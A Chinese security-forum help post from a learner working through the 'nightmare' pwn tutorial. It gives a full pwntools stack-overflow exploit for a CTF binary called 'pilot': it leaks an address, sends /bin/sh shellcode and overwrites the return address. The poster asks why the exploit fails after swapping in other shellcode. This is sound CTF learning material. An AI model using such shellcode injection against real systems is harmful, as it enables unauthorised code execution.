NodeSans 发表于 2022-3-11 08:48

为什么这个 EXP 脚本替换了 shell code 以后就失效了

(有段时间没来站内发贴了,看到说二进制漏洞相关的求助贴要发在这个模块,但愿我没有操作错罢)

这段时间我在看 nightmare 这个 pwn 教程,其中有一个教程是教你怎么在下面这个程序中注入

链接: https://pan.baidu.com/s/1kpX-ta2BNheapPM3GivzdA 提取码: z2cx

然后教程中的 exp 的脚本是这个

from pwn import *
from pwnlib.util.packing import p64


if __name__ == '__main__':
    target = process('./pilot')

    print(target.recvuntil(b"[*]Location:"))

    leak = target.recvline()

    inputAdr = int(leak.decode().strip("\n"), 16)

    payload = b""
    payload += b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"

    # Padding to the return address
    payload += b"\x00"*(0x28 - len(payload))

    # Overwrite the return address with the address of the start of our input
    payload += p64(inputAdr)

    # Send the payload, drop to an interactive shell to use the shell we pop
    target.send(payload)

    target.interactive()

然后后来我想能不能换一个 shell code,于是找到了这个站的一个 shell code

http://shell-storm.org/shellcode/files/shellcode-603.php

自己在本地运行了这个 shell code 的测试代码,确实是能运行的

但是将原本的 exp 脚本的 payload 换成了这个 shell code,exp 脚本就不起作用了,这是怎么回事呢?
页: [1]
查看完整版本: 为什么这个 EXP 脚本替换了 shell code 以后就失效了